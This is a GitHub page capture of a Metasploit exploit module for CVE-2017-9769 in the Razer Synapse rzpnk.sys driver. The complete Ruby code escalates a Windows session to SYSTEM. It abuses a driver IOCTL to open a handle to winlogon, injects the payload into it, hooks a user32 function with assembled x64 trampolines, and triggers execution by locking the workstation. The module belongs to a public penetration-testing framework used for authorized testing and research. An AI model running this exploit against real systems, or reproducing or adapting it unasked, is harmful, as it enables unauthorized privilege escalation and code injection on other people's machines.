Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
metasploit-framework/modules/exploits/windows/local/razer_zwopenprocess.rb
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
283 lines (243 sloc)
10.2 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# This module requires Metasploit: https://metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
require 'rex' | |
require 'metasm' | |
class MetasploitModule < Msf::Exploit::Remote | |
Rank = NormalRanking | |
include Msf::Exploit::Local::WindowsKernel | |
include Msf::Post::Windows::Priv | |
# the max size our hook can be, used before it's generated for the allocation | |
HOOK_STUB_MAX_LENGTH = 256 | |
def initialize(info = {}) | |
super( | |
update_info( | |
info, | |
'Name' => 'Razer Synapse rzpnk.sys ZwOpenProcess', | |
'Description' => %q{ | |
A vulnerability exists in the latest version of Razer Synapse | |
(v2.20.15.1104 as of the day of disclosure) which can be leveraged | |
locally by a malicious application to elevate its privileges to those of | |
NT_AUTHORITY\SYSTEM. The vulnerability lies in a specific IOCTL handler | |
in the rzpnk.sys driver that passes a PID specified by the user to | |
ZwOpenProcess. This can be issued by an application to open a handle to | |
an arbitrary process with the necessary privileges to allocate, read and | |
write memory in the specified process. | |
This exploit leverages this vulnerability to open a handle to the | |
winlogon process (which runs as NT_AUTHORITY\SYSTEM) and infect it by | |
installing a hook to execute attacker controlled shellcode. This hook is | |
then triggered on demand by calling user32!LockWorkStation(), resulting | |
in the attacker's payload being executed with the privileges of the | |
infected winlogon process. In order for the issued IOCTL to work, the | |
RazerIngameEngine.exe process must not be running. This exploit will | |
check if it is, and attempt to kill it as necessary. | |
The vulnerable software can be found here: | |
https://www.razerzone.com/synapse/. No Razer hardware needs to be | |
connected in order to leverage this vulnerability. | |
This exploit is not opsec-safe due to the user being logged out as part | |
of the exploitation process. | |
}, | |
'Author' => 'Spencer McIntyre', | |
'License' => MSF_LICENSE, | |
'References' => [ | |
['CVE', '2017-9769'], | |
['URL', 'https://warroom.securestate.com/cve-2017-9769/'] | |
], | |
'Platform' => 'win', | |
'Targets' => [ | |
# Tested on (64 bits): | |
# * Windows 7 SP1 | |
# * Windows 10.0.10586 | |
[ 'Windows x64', { 'Arch' => ARCH_X64 } ] | |
], | |
'DefaultOptions' => { | |
'EXITFUNC' => 'thread', | |
'WfsDelay' => 20 | |
}, | |
'DefaultTarget' => 0, | |
'Privileged' => true, | |
'DisclosureDate' => '2017-03-22', | |
'Notes' => { | |
'Stability' => [ CRASH_SERVICE_RESTARTS ], | |
'SideEffects' => [ SCREEN_EFFECTS ], | |
'Reliability' => [ REPEATABLE_SESSION ], | |
}, | |
'Compat' => { | |
'Meterpreter' => { | |
'Commands' => %w[ | |
stdapi_fs_md5 | |
stdapi_railgun_api | |
stdapi_sys_config_driver_list | |
stdapi_sys_process_kill | |
stdapi_sys_process_memory_allocate | |
stdapi_sys_process_memory_protect | |
stdapi_sys_process_memory_read | |
stdapi_sys_process_memory_write | |
] | |
} | |
}, | |
) | |
) | |
end | |
def check | |
# Validate that the driver has been loaded and that | |
# the version is the same as the one expected | |
client.sys.config.getdrivers.each do |d| | |
if d[:basename].downcase == 'rzpnk.sys' | |
expected_checksum = 'b4598c05d5440250633e25933fff42b0' | |
target_checksum = client.fs.file.md5(d[:filename]) | |
if expected_checksum == Rex::Text.to_hex(target_checksum, '') | |
return Exploit::CheckCode::Appears | |
else | |
return Exploit::CheckCode::Detected | |
end | |
end | |
end | |
Exploit::CheckCode::Safe | |
end | |
def exploit | |
if is_system? | |
fail_with(Failure::None, 'Session is already elevated') | |
end | |
if check == Exploit::CheckCode::Safe | |
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') | |
end | |
if session.platform != 'windows' | |
fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session') | |
elsif session.arch != ARCH_X64 | |
fail_with(Failure::NoTarget, 'This exploit only supports x64 Windows targets') | |
end | |
pid = session.sys.process['RazerIngameEngine.exe'] | |
if pid | |
# if this process is running, the IOCTL won't work but the process runs | |
# with user privileges so we can kill it | |
print_status("Found RazerIngameEngine.exe pid: #{pid}, killing it...") | |
session.sys.process.kill(pid) | |
end | |
pid = session.sys.process['winlogon.exe'] | |
print_status("Found winlogon pid: #{pid}") | |
handle = get_handle(pid) | |
fail_with(Failure::NotVulnerable, 'Failed to open the process handle') if handle.nil? | |
vprint_status('Successfully opened a handle to the winlogon process') | |
winlogon = session.sys.process.new(pid, handle) | |
allocation_size = payload.encoded.length + HOOK_STUB_MAX_LENGTH | |
shellcode_address = winlogon.memory.allocate(allocation_size) | |
winlogon.memory.protect(shellcode_address) | |
print_good("Allocated #{allocation_size} bytes in winlogon at 0x#{shellcode_address.to_s(16)}") | |
winlogon.memory.write(shellcode_address, payload.encoded) | |
hook_stub_address = shellcode_address + payload.encoded.length | |
result = session.railgun.kernel32.LoadLibraryA('user32') | |
fail_with(Failure::Unknown, 'Failed to get a handle to user32.dll') if result['return'] == 0 | |
user32_handle = result['return'] | |
# resolve and backup the functions that we'll install trampolines in | |
user32_trampolines = {} # address => original chunk | |
user32_functions = ['LockWindowStation'] | |
user32_functions.each do |function| | |
address = get_address(user32_handle, function) | |
winlogon.memory.protect(address) | |
user32_trampolines[function] = { | |
address: address, | |
original: winlogon.memory.read(address, 24) | |
} | |
end | |
# generate and install the hook asm | |
hook_stub = get_hook(shellcode_address, user32_trampolines) | |
fail_with(Failure::Unknown, 'Failed to generate the hook stub') if hook_stub.nil? | |
# if this happens, there was a programming error | |
fail_with(Failure::Unknown, 'The hook stub is too large, please update HOOK_STUB_MAX_LENGTH') if hook_stub.length > HOOK_STUB_MAX_LENGTH | |
winlogon.memory.write(hook_stub_address, hook_stub) | |
vprint_status("Wrote the #{hook_stub.length} byte hook stub in winlogon at 0x#{hook_stub_address.to_s(16)}") | |
# install the asm trampolines to jump to the hook | |
user32_trampolines.each do |function, trampoline_info| | |
address = trampoline_info[:address] | |
trampoline = Metasm::Shellcode.assemble(Metasm::X86_64.new, %{ | |
mov rax, 0x#{address.to_s(16)} | |
push rax | |
mov rax, 0x#{hook_stub_address.to_s(16)} | |
jmp rax | |
}).encode_string | |
winlogon.memory.write(address, trampoline) | |
vprint_status("Installed user32!#{function} trampoline at 0x#{address.to_s(16)}") | |
end | |
session.railgun.user32.LockWorkStation() | |
session.railgun.kernel32.CloseHandle(handle) | |
end | |
def get_address(dll_handle, function_name) | |
result = session.railgun.kernel32.GetProcAddress(dll_handle, function_name) | |
fail_with(Failure::Unknown, 'Failed to get function address') if result['return'] == 0 | |
result['return'] | |
end | |
# this is where the actual vulnerability is leveraged | |
def get_handle(pid) | |
handle = open_device("\\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') | |
return nil unless handle | |
vprint_status('Successfully opened a handle to the driver') | |
buffer = [pid, 0].pack(target.arch.first == ARCH_X64 ? 'QQ' : 'LL') | |
session.railgun.add_function('ntdll', 'NtDeviceIoControlFile', 'DWORD', [ | |
['DWORD', 'FileHandle', 'in' ], | |
['DWORD', 'Event', 'in' ], | |
['LPVOID', 'ApcRoutine', 'in' ], | |
['LPVOID', 'ApcContext', 'in' ], | |
['PDWORD', 'IoStatusBlock', 'out'], | |
['DWORD', 'IoControlCode', 'in' ], | |
['PBLOB', 'InputBuffer', 'in' ], | |
['DWORD', 'InputBufferLength', 'in' ], | |
['PBLOB', 'OutputBuffer', 'out'], | |
['DWORD', 'OutputBufferLength', 'in' ], | |
]) | |
result = session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a050, buffer, buffer.length, buffer.length, buffer.length) | |
return nil if result['return'] != 0 | |
session.railgun.kernel32.CloseHandle(handle) | |
result['OutputBuffer'].unpack(target.arch.first == ARCH_X64 ? 'QQ' : 'LL')[1] | |
end | |
def get_hook(shellcode_address, restore) | |
dll_handle = session.railgun.kernel32.GetModuleHandleA('kernel32')['return'] | |
return nil if dll_handle == 0 | |
create_thread_address = get_address(dll_handle, 'CreateThread') | |
stub = %{ | |
call main | |
; restore the functions where the trampolines were installed | |
push rbx | |
} | |
restore.each do |function, trampoline_info| | |
original = trampoline_info[:original].unpack('Q*') | |
stub << "mov rax, 0x#{trampoline_info[:address].to_s(16)}" | |
original.each do |chunk| | |
stub << %{ | |
mov rbx, 0x#{chunk.to_s(16)} | |
mov qword ptr ds:[rax], rbx | |
add rax, 8 | |
} | |
end | |
end | |
stub << %{ | |
pop rbx | |
ret | |
main: | |
; backup registers we're going to mangle | |
push r9 | |
push r8 | |
push rdx | |
push rcx | |
; setup the arguments for the call to CreateThread | |
xor rax, rax | |
push rax ; lpThreadId | |
push rax ; dwCreationFlags | |
xor r9, r9 ; lpParameter | |
mov r8, 0x#{shellcode_address.to_s(16)} ; lpStartAddress | |
xor rdx, rdx ; dwStackSize | |
xor rcx, rcx ; lpThreadAttributes | |
mov rax, 0x#{create_thread_address.to_s(16)} ; &CreateThread | |
call rax | |
add rsp, 16 | |
; restore arguments that were mangled | |
pop rcx | |
pop rdx | |
pop r8 | |
pop r9 | |
ret | |
} | |
Metasm::Shellcode.assemble(Metasm::X86_64.new, stub).encode_string | |
end | |
end |